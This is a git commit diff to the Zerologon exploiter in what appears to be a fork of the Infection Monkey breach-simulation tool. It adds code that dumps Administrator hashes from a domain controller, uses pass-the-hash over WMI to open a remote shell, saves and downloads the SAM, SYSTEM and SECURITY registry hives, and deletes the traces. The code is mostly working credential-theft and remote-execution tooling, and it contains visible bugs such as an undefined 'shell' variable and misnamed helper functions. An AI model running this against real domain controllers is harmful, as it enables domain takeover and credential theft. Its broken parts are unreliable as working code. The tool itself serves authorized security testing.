forked from p15670423/monkey
Restore password
(wmiexec to get HKLM keys --> secretsdump to get orig pwd nthash --> restore)
This commit is contained in:
parent
e7485bd02f
commit
53ef6feadf
|
@ -6,18 +6,23 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g
|
|||
from __future__ import division, print_function
|
||||
|
||||
import argparse
|
||||
import cmd
|
||||
import codecs
|
||||
import io
|
||||
import logging
|
||||
import ntpath
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
from binascii import hexlify, unhexlify
|
||||
|
||||
import impacket
|
||||
from Cryptodome.Cipher import AES, ARC4, DES
|
||||
from impacket import crypto, version
|
||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
from impacket.examples import logger
|
||||
|
@ -25,7 +30,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
|||
NTDSHashes, RemoteOperations,
|
||||
SAMHashes)
|
||||
from impacket.krb5.keytab import Keytab
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21,
|
||||
SMB_DIALECT, SMBConnection)
|
||||
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
||||
|
@ -33,6 +39,24 @@ from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
|||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
_orig_stdout = None
|
||||
_new_stdout = None
|
||||
|
||||
|
||||
def _set_stdout_to_in_memory():
|
||||
# set stdout to in-memory text stream, to capture info that would otherwise be printed
|
||||
_orig_stdout = sys.stdout
|
||||
_new_stdout = io.StringIO()
|
||||
sys.stdout = _new_stdout
|
||||
|
||||
|
||||
def _unset_stdout_and_return_captured():
|
||||
# set stdout to original and return captured output
|
||||
sys.stdout = _orig_stdout
|
||||
_new_stdout.seek(0)
|
||||
return _new_stdout.read()
|
||||
|
||||
|
||||
class ZerologonExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
_EXPLOITED_SERVICE = 'Netlogon'
|
||||
|
@ -58,8 +82,9 @@ class ZerologonExploiter(HostExploiter):
|
|||
'resumefile': None,
|
||||
'sam': None,
|
||||
'security': None,
|
||||
'system': None,
|
||||
# target and target_ip are assigned in get_original_pwd_nthash()
|
||||
'system': None, # sam, security, and system are assigned in a copy in get_original_pwd_nthash()
|
||||
'target': '',
|
||||
'target_ip': '', # target and target_ip are assigned in a copy in get_admin_pwd_hashes()
|
||||
'ts': False,
|
||||
'use_vss': False,
|
||||
'user_status': False
|
||||
|
@ -145,11 +170,13 @@ class ZerologonExploiter(HostExploiter):
|
|||
LOG.info("Restoring original password...")
|
||||
|
||||
LOG.info("DCSync; getting original password hashes.")
|
||||
original_pwd_nthash = self.get_original_pwd_nthash(DC_NAME, DC_IP)
|
||||
admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP)
|
||||
|
||||
try:
|
||||
if not original_pwd_nthash:
|
||||
raise Exception("Couldn't extract nthash of original password.")
|
||||
if not admin_pwd_hashes:
|
||||
raise Exception("Couldn't extract admin password's hashes.")
|
||||
|
||||
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
|
||||
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
|
||||
|
@ -164,29 +191,75 @@ class ZerologonExploiter(HostExploiter):
|
|||
except Exception as e:
|
||||
LOG.error(e)
|
||||
|
||||
def get_original_pwd_nthash(self, DC_NAME, DC_IP):
|
||||
dumped_secrets = self.get_dumped_secrets(DC_NAME, DC_IP)
|
||||
for secret in dumped_secrets:
|
||||
if DC_NAME in secret:
|
||||
nthash = secret.split(':')[3] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::"
|
||||
return nthash
|
||||
|
||||
def get_dumped_secrets(self, DC_NAME, DC_IP):
|
||||
self.OPTIONS_FOR_SECRETSDUMP['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||
self.OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP
|
||||
def get_admin_pwd_hashes(self, DC_NAME, DC_IP) -> str:
|
||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||
options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||
options['target_ip'] = DC_IP
|
||||
|
||||
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
self.OPTIONS_FOR_SECRETSDUMP['target']).groups('')
|
||||
options['target']).groups('')
|
||||
|
||||
# In case the password contains '@'
|
||||
if '@' in remote_name:
|
||||
password = password + '@' + remote_name.rpartition('@')[0]
|
||||
remote_name = remote_name.rpartition('@')[2]
|
||||
|
||||
dumper = DumpSecrets(remote_name, username, password, domain, self.OPTIONS_FOR_SECRETSDUMP)
|
||||
dumped_secrets = self.get_dumped_secrets(remote_name=remote_name,
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
options=options)
|
||||
for secret in dumped_secrets:
|
||||
if 'Administrator' in secret:
|
||||
hashes = secret.split(':')[2:4] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::"
|
||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||
|
||||
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
|
||||
self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes)
|
||||
|
||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||
for name in ['system', 'sam', 'security']:
|
||||
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||
|
||||
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
|
||||
options=options)
|
||||
for secret in dumped_secrets:
|
||||
if '$MACHINE.ACC: ' in secret: # format - "$MACHINE.ACC: lmhash:nthash"
|
||||
nthash = secret.split(':')[-1]
|
||||
return nthash
|
||||
|
||||
def get_dumped_secrets(self, remote_name='', username='', password='', domain='', options):
|
||||
dumper = DumpSecrets(remote_name, username, password, domain, options)
|
||||
dumped_secrets = dumper.dump().split('\n')
|
||||
return dumped_secrets
|
||||
|
||||
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
|
||||
remote_shell = WmiexecRemoteShell(host=self.host,
|
||||
username='Administrator',
|
||||
domain=DC_IP,
|
||||
hashes=':'.join(admin_pwd_hashes))
|
||||
if remote_shell:
|
||||
_set_stdout_to_in_memory()
|
||||
|
||||
# save HKLM keys on host
|
||||
shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
|
||||
'reg save HKLM\SAM sam.save && ' +
|
||||
'reg save HKLM\SECURITY security.save')
|
||||
|
||||
# get HKLM keys locally (can't run these together because it needs to call do_get())
|
||||
shell.onecmd('get system.save')
|
||||
shell.onecmd('get sam.save')
|
||||
shell.onecmd('get security.save')
|
||||
|
||||
# delete saved keys from host
|
||||
shell.onecmd('del /f system.save sam.save security.save')
|
||||
|
||||
info = _unset_stdout_and_return_captured()
|
||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
|
||||
else:
|
||||
raise Exception("Could not start remote shell on DC.")
|
||||
|
||||
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
||||
# Connect to the DC's Netlogon service.
|
||||
rpc_con = self.connect_to_dc(DC_IP)
|
||||
|
@ -268,7 +341,7 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL):
|
|||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
||||
# Used to get original password hash
|
||||
# Used to get Administrator and original DC passwords' hashes
|
||||
class DumpSecrets:
|
||||
def __init__(self, remote_name, username='', password='', domain='', options=None):
|
||||
self.__use_VSS_method = options['use_vss']
|
||||
|
@ -310,16 +383,10 @@ class DumpSecrets:
|
|||
|
||||
def connect(self):
|
||||
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
|
||||
if self.__do_kerberos:
|
||||
self.__smb_connection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aes_key, self.__kdc_host)
|
||||
else:
|
||||
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
|
||||
def dump(self):
|
||||
orig_stdout = sys.stdout
|
||||
new_stdout = io.StringIO()
|
||||
sys.stdout = new_stdout # setting stdout to an in-memory text stream, to capture hashes that would else be printed
|
||||
_set_stdout_in_memory()
|
||||
dumped_secrets = ''
|
||||
|
||||
try:
|
||||
|
@ -454,9 +521,7 @@ class DumpSecrets:
|
|||
except:
|
||||
pass
|
||||
finally:
|
||||
sys.stdout = orig_stdout
|
||||
new_stdout.seek(0)
|
||||
dumped_secrets = new_stdout.read() # includes hashes and kerberos keys
|
||||
dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys
|
||||
return dumped_secrets
|
||||
|
||||
def cleanup(self):
|
||||
|
@ -475,3 +540,167 @@ class DumpSecrets:
|
|||
# mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not
|
||||
# mention patching details in report
|
||||
# add exploit info to documentation
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
# Used to get HKLM keys for restoring original DC password
|
||||
class WmiexecRemoteShell:
|
||||
OUTPUT_FILENAME = '__' + str(time.time())
|
||||
CODEC = sys.stdout.encoding
|
||||
|
||||
def __init__(self, host, username, password='', domain='', hashes, share=None, noOutput=False):
|
||||
self.host = host
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
self.__share = share
|
||||
self.__noOutput = noOutput
|
||||
self.shell = None
|
||||
|
||||
def run(self):
|
||||
if self.__noOutput is False:
|
||||
smbConnection = SMBConnection(self.host.ip_addr, self.host.ip_addr)
|
||||
smbConnection.login(user=self.__username,
|
||||
password=self.__password,
|
||||
domain=self.__domain,
|
||||
lmhash=self.__lmhash,
|
||||
nthash=self.__nthash)
|
||||
|
||||
dcom = DCOMConnection(target=self.host.ip_addr,
|
||||
username=self.__username,
|
||||
password=self.__password,
|
||||
domain=self.__domain,
|
||||
lmhash=self.__lmhash,
|
||||
nthash=self.__nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
||||
|
||||
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
|
||||
# return self.shell?
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.error(str(e))
|
||||
smbConnection.logoff()
|
||||
dcom.disconnect()
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
# Used to start remote shell on victim
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, share, win32Process, smbConnection):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__share = share
|
||||
self.__output = '\\' + self.OUTPUT_FILENAME
|
||||
self.__outputBuffer = str('')
|
||||
self.__shell = 'cmd.exe /Q /c '
|
||||
self.__win32Process = win32Process
|
||||
self.__transferClient = smbConnection
|
||||
self.__pwd = str('C:\\')
|
||||
self.__noOutput = True
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
if self.__transferClient is not None:
|
||||
self.__transferClient.setTimeout(100000)
|
||||
self.do_cd('\\')
|
||||
else:
|
||||
self.__noOutput = True
|
||||
|
||||
def do_get(self, src_path):
|
||||
try:
|
||||
import ntpath
|
||||
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||
drive, tail = ntpath.splitdrive(newPath)
|
||||
filename = ntpath.basename(tail)
|
||||
local_file_path = os.path.join(os.path.expanduser('~'), 'monkey-'+filename)
|
||||
fh = open(local_file_path, 'wb')
|
||||
LOG.info("Downloading %s\\%s" % (drive, tail))
|
||||
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
|
||||
fh.close()
|
||||
except Exception as e:
|
||||
LOG.error(str(e))
|
||||
if os.path.exists(local_file_path):
|
||||
os.remove(local_file_path)
|
||||
|
||||
def do_exit(self, s):
|
||||
return True
|
||||
|
||||
def do_cd(self, s):
|
||||
self.execute_remote('cd ' + s)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
print(self.__outputBuffer)
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.prompt = (self.__pwd + '>')
|
||||
self.__outputBuffer = ''
|
||||
|
||||
def default(self, line):
|
||||
# Let's try to guess if the user is trying to change drive
|
||||
if len(line) == 2 and line[1] == ':':
|
||||
# Execute the command and see if the drive is valid
|
||||
self.execute_remote(line)
|
||||
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||
# Something went wrong
|
||||
print(self.__outputBuffer)
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
# Drive valid, now we should get the current path
|
||||
self.__pwd = line
|
||||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.prompt = (self.__pwd + '>')
|
||||
self.__outputBuffer = ''
|
||||
else:
|
||||
if line != '':
|
||||
self.send_data(line)
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
try:
|
||||
self.__outputBuffer += data.decode(self.CODEC)
|
||||
except UnicodeDecodeError:
|
||||
LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
|
||||
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
|
||||
'again with -codec and the corresponding codec')
|
||||
self.__outputBuffer += data.decode(self.CODEC, errors='replace')
|
||||
|
||||
if self.__noOutput is True:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
while True:
|
||||
try:
|
||||
self.__transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
|
||||
# Output not finished, let's wait
|
||||
time.sleep(1)
|
||||
pass
|
||||
elif str(e).find('Broken') >= 0:
|
||||
# The SMB Connection might have timed out, let's try reconnecting
|
||||
LOG.debug('Connection broken, trying to recreate it')
|
||||
self.__transferClient.reconnect()
|
||||
return self.get_output()
|
||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + data
|
||||
if self.__noOutput is False:
|
||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
print(self.__outputBuffer)
|
||||
self.__outputBuffer = ''
|
||||
|
|
Loading…
Reference in New Issue